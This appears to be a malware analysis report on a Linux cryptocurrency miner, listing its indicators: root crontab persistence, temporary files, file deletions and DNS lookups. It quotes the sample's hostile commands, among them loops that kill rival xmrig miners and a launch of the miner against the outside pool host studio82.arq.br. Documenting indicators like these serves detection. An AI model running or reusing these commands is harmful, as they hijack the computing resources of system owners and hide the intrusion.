Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
- rm noUnqeoM
- crontab /tmp/barontab > /dev/null
- for i in $(ls /proc | grep -E \x27^[0-9]+$\x27); do -e \x5c\x22/proc/$i/cmdline\x5c\x22 && cmdline=$(tr -d \x27\x5c\x5c0\x27 < \x5c\x22/proc/$i/cmdline\x5c\x22) && grep -a \x27xmrig\x27 \x5c\x22/proc/$i/exe\x5c\x22 1>/dev/null 2>&1 && ! echo \x5c\x22$cmdline\x5c\x22 | grep -q \x27studio82\x27 && kill -9 $i; done
- crontab -l
- crontab /tmp/barontab
- ./noUnqeoM -o studio82.arq.br:443 --tls -B
- grep -E ^[0-9]+$
- for i in $(ls /proc | grep -E \x27^[0-9]+$\x27); do -e \x5c\x22/proc/$i/cmdline\x5c\x22 && cmdline=$(tr -d \x27\x5c\x5c0\x27 < \x5c\x22/proc/$i/cmdline\x5c\x22) && grep -a \x27donate-level\x27 \x5c\x22/proc/$i/exe\x5c\x22 1>/dev/null 2>&1 && ! echo \x5c\x22$cmdline\x5c\x22 | grep -q \x27studio82\x27 && kill -9 $i; done
- ls /proc
- ./noUnqeoM -o studio82.arq.br:443 --tls -B; rm noUnqeoM
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.At1z4l
- /tmp/noUnqeoM
Creates or modifies files:
- /tmp/barontab
- /var/spool/cron/crontabs/tmp.At1z4l
- /tmp/noUnqeoM
Deletes files:
- /tmp/barontab
- /tmp/noUnqeoM
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
DNS ASK:
- st###o82.arq.br
Other:
Collects CPU information
Collects RAM information
